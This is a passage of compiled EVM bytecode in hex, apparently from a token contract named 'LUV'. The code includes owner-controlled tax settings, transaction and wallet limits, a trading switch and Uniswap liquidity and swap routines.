ffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516108be9190613e32565b60405180910390a36001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461095e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095590614333565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610a025750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610a585750601060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b610a97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8e9061439f565b60405180910390fd5b82600160026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b60006009600a610ccf9190614521565b641010b87200610cdf919061456c565b905090565b6000610cef84612576565b610d2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d25906145fa565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610eda5781600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e59919061461a565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610ee5848484612651565b90509392505050565b60008060199054906101000a900460ff16905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8990614333565b60405180910390fd5b6001601160016101000a81548160ff02191690831515021790555060648260ff161115610ff4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610feb9061469a565b60405180910390fd5b600060648360ff16600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611046919061456c565b61105091906146e9565b90506009600a6110609190614521565b8111156110715761107081612b01565b5b81156110ca576000479050600081116110bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b690614766565b60405180910390fd5b6110c847612d20565b505b506000601160016101000a81548160ff0219169083151502179055505050565b60006009905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611181576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117890614333565b60405180910390fd5b600060016103e88461ffff166009600a61119b9190614521565b641010b872006111ab919061456c565b6111b5919061456c565b6111bf91906146e9565b6111c99190614786565b9050600454811015611210576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120790614806565b60405180910390fd5b80600481905550600060016103e88461ffff166009600a6112319190614521565b641010b87200611241919061456c565b61124b919061456c565b61125591906146e9565b61125f9190614786565b90506005548110156112a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129d90614872565b60405180910390fd5b8060058190555050505050565b60006112be33611718565b905080821115611303576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fa906148de565b60405180910390fd5b61130d3383612eaf565b3373ffffffffffffffffffffffffffffffffffffffff167ffd38818f5291bf0bb3a2a48aadc06ba8757865d1dabd804585338aab3009dcb6836040516113539190613e32565b60405180910390a25050565b6000600654905090565b60008060189054906101000a900460ff16905090565b6000600754905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611417576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140e90614333565b60405180910390fd5b6001818361142591906148fe565b60ff161115611469576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114609061497f565b60405180910390fd5b81600060186101000a81548160ff021916908360ff16021790555080600060196101000a81548160ff021916908360ff1602179055505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611531576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152890614333565b60405180910390fd5b808061153a5750815b156115cd57601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156115cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c3906149eb565b60405180910390fd5b5b81600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080600080601a9054906101000a900461ffff166000601c9054906101000a900461ffff166000601e9054906101000a900461ffff16925092509250909192565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e690614333565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861636000604051611860919061412b565b60405180910390a1565b6000600160029054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611922576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191990614333565b60405180910390fd5b60008183856119319190614a0b565b61193b9190614a0b565b905060008161ffff1611611984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197b90614a8d565b60405180910390fd5b836000601e6101000a81548161ffff021916908361ffff160217905550826000601a6101000a81548161ffff021916908361ffff160217905550816000601c6101000a81548161ffff021916908361ffff16021790555080600160006101000a81548161ffff021916908361ffff16021790555050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8390614333565b60405180910390fd5b6001601160016101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff16600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603611b38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2f90614af9565b60405180910390fd5b601160009054906101000a900460ff1615611b88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7f90614b65565b60405180910390fd5b611b90612fcf565b6000601160016101000a81548160ff021916908315150217905550565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4c55560000000000000000000000000000000000000000000000000000000000815250905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cee90614333565b60405180910390fd5b8263ffffffff168463ffffffff166009600a611d139190614521565b641010b87200611d23919061456c565b611d2d919061456c565b611d3791906146e9565b6006819055508063ffffffff168263ffffffff166009600a611d599190614521565b641010b87200611d69919061456c565b611d73919061456c565b611d7d91906146e9565b6007819055506006546007541015611dca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc190614bd1565b60405180910390fd5b620186a06009600a611ddc9190614521565b641010b87200611dec919061456c565b611df691906146e9565b60075411611e39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3090614c3d565b60405180910390fd5b60646009600a611e499190614521565b641010b87200611e59919061456c565b611e6391906146e9565b60075410611ea6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9d90614ca9565b60405180910390fd5b50505050565b6000611eb733612576565b611ef6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eed906145fa565b60405180910390fd5b611f01338484612651565b905092915050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600454905090565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612052576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204990614333565b60405180910390fd5b6001601160016101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff16600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f590614d15565b60405180910390fd5b601160009054906101000a900460ff161561214e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214590614b65565b60405180910390fd5b600034118061215d5750600047115b61219c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219390614d81565b60405180910390fd5b6000600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541161221e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221590614ded565b60405180910390fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561228b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122af9190614e22565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612338573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061235c9190614e22565b6040518363ffffffff1660e01b8152600401612379929190614e4f565b6020604051808303816000875af1158015612398573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123bc9190614e22565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550612447600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544760006132e8565b6000601160016101000a81548160ff021916908315150217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146124f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124e990614333565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163816040516125619190614ed7565b60405180910390a150565b6000600554905090565b60008060009050601160009054906101000a900460ff161561259b5760019050612648565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561263d5750600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561264757600190505b5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036126c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b890614f3e565b60405180910390fd5b601160009054906101000a900460ff166127b757600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156127775750600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6127b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127ad906145fa565b60405180910390fd5b5b601160019054906101000a900460ff1615801561281d5750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561282b5761282a6133d6565b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561289357503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156128eb575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561293b576128fb8484846135de565b61293a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161293190614faa565b60405180910390fd5b5b6000612948858585613775565b905060008184612958919061461a565b905083600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129a5919061461a565b600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600860008282546129fa9190614786565b9250508190555080600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a4c9190614786565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051612aec9190613e32565b60405180910390a36001925050509392505050565b612b0a81613a25565b6000600267ffffffffffffffff811115612b2757612b26614fca565b5b604051908082528060200260200182016040528015612b555781602001602082028036833780820191505090505b5090503081600081518110612b6d57612b6c614ff9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612c14573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c389190614e22565b81600181518110612c4c57612c4b614ff9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612cea959493929190615121565b600060405180830381600087803b158015612d0457600080fd5b505af1158015612d18573d6000803e3d6000fd5b505050505050565b600080601c9054906101000a900461ffff166000601a9054906101000a900461ffff16612d4d9190614a0b565b905060008161ffff161115612eab5760008161ffff166000601a9054906101000a900461ffff1661ffff1684612d83919061456c565b612d8d91906146e9565b905060008261ffff166000601c9054906101000a900461ffff1661ffff1685612db6919061456c565b612dc091906146e9565b90506000821115612e3557600160029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015612e33573d6000803e3d6000fd5b505b6000811115612ea857600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612ea6573d6000803e3d6000fd5b505b50505b5050565b6000811115612fcb5780600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612f07919061461a565b9250508190555080600960008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612f5d9190614786565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612fc29190613e32565b60405180910390a35b5050565b606460046009600a612fe19190614521565b641010b87200612ff1919061456c565b612ffb919061456c565b61300591906146e9565b600481905550606460046009600a61301d9190614521565b641010b8720061302d919061456c565b613037919061456c565b61304191906146e9565b6005819055506001601160006101000a81548160ff0219169083151502179055504360038190555060085460096000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546130dc919061461a565b925050819055506000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527ffff6cae9000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516131ae91906151c2565b6000604051808303816000865af19150503d80600081146131eb576040519150601f19603f3d011682016040523d82523d6000602084013e6131f0565b606091505b505090508060106000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060106000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166132e557600080fd5b50565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050811561331a57600090505b61332384613a25565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308760008087426040518863ffffffff1660e01b815260040161338a969594939291906151d9565b60606040518083038185885af11580156133a8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906133cd919061524f565b50505050505050565b6001601160016101000a81548160ff0219169083151502179055506000600854905060065481101580156134165750601160009054906101000a900460ff165b156135c057600754811061342a5760075490505b60006002600160009054906101000a900461ffff1661ffff166000601e9054906101000a900461ffff1661ffff1684613463919061456c565b61346d91906146e9565b61347791906146e9565b905060008183613487919061461a565b90506009600a6134979190614521565b8111156135a457600047905083600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546134f29190614786565b9250508190555061350282612b01565b8360086000828254613514919061461a565b9250508190555060008147613529919061461a565b9050600080601e9054906101000a900461ffff1661ffff1611156135a1576000600160009054906101000a900461ffff1661ffff166000601e9054906101000a900461ffff1661ffff168361357e919061456c565b61358891906146e9565b905061359385613a25565b61359f858260006132e8565b505b50505b600047905060008111156135bc576135bb81612d20565b5b5050505b506000601160016101000a81548160ff021916908315150217905550565b60008060019050601160009054906101000a900460ff16801561364b5750600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156136a15750600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561376a576004548311156136b95760009050613769565b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561375e575060055483600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461375c9190614786565b115b1561376857600090505b5b5b809150509392505050565b600080601160009054906101000a900460ff1615806137dd5750600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806138315750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561383f5760009050613a1a565b601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561399957600060179054906101000a900460ff1660ff16600060169054906101000a900460ff1660ff166003546138c49190614786565b6138ce9190614786565b4310613905576064600060189054906101000a900460ff1660ff16846138f4919061456c565b6138fe91906146e9565b9050613994565b600060169054906101000a900460ff1660ff166003546139259190614786565b431061395c576064600060159054906101000a900460ff1660ff168461394b919061456c565b61395591906146e9565b9050613993565b6003544310613992576064600060149054906101000a900460ff1660ff1684613985919061456c565b61398f91906146e9565b90505b5b5b613a19565b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613a18576064600060199054906101000a900460ff1660ff1684613a0b919061456c565b613a1591906146e9565b90505b5b5b809150509392505050565b80600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015613c0c577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff604051613c039190613e32565b60405180910390a35b50565b600081519050919050565b600082825260208201905092915050565b60005b83811015613c49578082015181840152602081019050613c2e565b60008484015250505050565b6000601f19601f8301169050919050565b6000613c7182613c0f565b613c7b8185613c1a565b9350613c8b818560208601613c2b565b613c9481613c55565b840191505092915050565b60006020820190508181036000830152613cb98184613c66565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613cf182613cc6565b9050919050565b613d0181613ce6565b8114613d0c57600080fd5b50565b600081359050613d1e81613cf8565b92915050565b6000819050919050565b613d3781613d24565b8114613d4257600080fd5b50565b600081359050613d5481613d2e565b92915050565b60008060408385031215613d7157613d70613cc1565b5b6000613d7f85828601613d0f565b9250506020613d9085828601613d45565b9150509250929050565b60008115159050919050565b613daf81613d9a565b82525050565b6000602082019050613dca6000830184613da6565b92915050565b600080600060608486031215613de957613de8613cc1565b5b6000613df786828701613d0f565b9350506020613e0886828701613d0f565b9250506040613e1986828701613d0f565b9150509250925092565b613e2c81613d24565b82525050565b6000602082019050613e476000830184613e23565b92915050565b600080600060608486031215613e6657613e65613cc1565b5b6000613e7486828701613d0f565b9350506020613e8586828701613d0f565b9250506040613e9686828701613d45565b9150509250925092565b600060ff82169050919050565b613eb681613ea0565b82525050565b6000602082019050613ed16000830184613ead565b92915050565b613ee081613ea0565b8114613eeb57600080fd5b50565b600081359050613efd81613ed7565b92915050565b613f0c81613d9a565b8114613f1757600080fd5b50565b600081359050613f2981613f03565b92915050565b60008060408385031215613f4657613f45613cc1565b5b6000613f5485828601613eee565b9250506020613f6585828601613f1a565b9150509250929050565b600061ffff82169050919050565b613f8681613f6f565b8114613f9157600080fd5b50565b600081359050613fa381613f7d565b92915050565b60008060408385031215613fc057613fbf613cc1565b5b6000613fce85828601613f94565b9250506020613fdf85828601613f94565b9150509250929050565b600060208284031215613fff57613ffe613cc1565b5b600061400d84828501613d45565b91505092915050565b6000806040838503121561402d5761402c613cc1565b5b600061403b85828601613eee565b925050602061404c85828601613eee565b9150509250929050565b60008060006060848603121561406f5761406e613cc1565b5b600061407d86828701613d0f565b935050602061408e86828701613f1a565b925050604061409f86828701613f1a565b9150509250925092565b6000602082840312156140bf576140be613cc1565b5b60006140cd84828501613d0f565b91505092915050565b6140df81613f6f565b82525050565b60006060820190506140fa60008301866140d6565b61410760208301856140d6565b61411460408301846140d6565b949350505050565b61412581613ce6565b82525050565b6000602082019050614140600083018461411c565b92915050565b60008060006060848603121561415f5761415e613cc1565b5b600061416d86828701613f94565b935050602061417e86828701613f94565b925050604061418f86828701613f94565b9150509250925092565b600063ffffffff82169050919050565b6141b281614199565b81146141bd57600080fd5b50565b6000813590506141cf816141a9565b92915050565b600080600080608085870312156141ef576141ee613cc1565b5b60006141fd878288016141c0565b945050602061420e878288016141c0565b935050604061421f878288016141c0565b9250506060614230878288016141c0565b91505092959194509250565b6000806040838503121561425357614252613cc1565b5b600061426185828601613d0f565b925050602061427285828601613d0f565b9150509250929050565b600061428782613cc6565b9050919050565b6142978161427c565b81146142a257600080fd5b50565b6000813590506142b48161428e565b92915050565b6000602082840312156142d0576142cf613cc1565b5b60006142de848285016142a5565b91505092915050565b7f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000600082015250565b600061431d601883613c1a565b9150614328826142e7565b602082019050919050565b6000602082019050818103600083015261434c81614310565b9050919050565b7f4c502063616e6e6f74206265207461782077616c6c6574000000000000000000600082015250565b6000614389601783613c1a565b915061439482614353565b602082019050919050565b600060208201905081810360008301526143b88161437c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111561444557808604811115614421576144206143bf565b5b60018516156144305780820291505b808102905061443e856143ee565b9450614405565b94509492505050565b60008261445e576001905061451a565b8161446c576000905061451a565b8160018114614482576002811461448c576144bb565b600191505061451a565b60ff84111561449e5761449d6143bf565b5b8360020a9150848211156144b5576144b46143bf565b5b5061451a565b5060208310610133831016604e8410600b84101617156144f05782820a9050838111156144eb576144ea6143bf565b5b61451a565b6144fd84848460016143fb565b92509050818404811115614514576145136143bf565b5b81810290505b9392505050565b600061452c82613d24565b915061453783613ea0565b92506145647fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461444e565b905092915050565b600061457782613d24565b915061458283613d24565b925082820261459081613d24565b915082820484148315176145a7576145a66143bf565b5b5092915050565b7f54726164696e67206e6f74206f70656e00000000000000000000000000000000600082015250565b60006145e4601083613c1a565b91506145ef826145ae565b602082019050919050565b60006020820190508181036000830152614613816145d7565b9050919050565b600061462582613d24565b915061463083613d24565b9250828203905081811115614648576146476143bf565b5b92915050565b7f43616e6e6f742073776170206d6f7265207468616e2031303025000000000000600082015250565b6000614684601a83613c1a565b915061468f8261464e565b602082019050919050565b600060208201905081810360008301526146b381614677565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006146f482613d24565b91506146ff83613d24565b92508261470f5761470e6146ba565b5b828204905092915050565b7f4e6f204554480000000000000000000000000000000000000000000000000000600082015250565b6000614750600683613c1a565b915061475b8261471a565b602082019050919050565b6000602082019050818103600083015261477f81614743565b9050919050565b600061479182613d24565b915061479c83613d24565b92508282019050808211156147b4576147b36143bf565b5b92915050565b7f747820746f6f206c6f7700000000000000000000000000000000000000000000600082015250565b60006147f0600a83613c1a565b91506147fb826147ba565b602082019050919050565b6000602082019050818103600083015261481f816147e3565b9050919050565b7f77616c6c657420746f6f206c6f77000000000000000000000000000000000000600082015250565b600061485c600e83613c1a565b915061486782614826565b602082019050919050565b6000602082019050818103600083015261488b8161484f565b9050919050565b7f62616c616e636520746f6f206c6f770000000000000000000000000000000000600082015250565b60006148c8600f83613c1a565b91506148d382614892565b602082019050919050565b600060208201905081810360008301526148f7816148bb565b9050919050565b600061490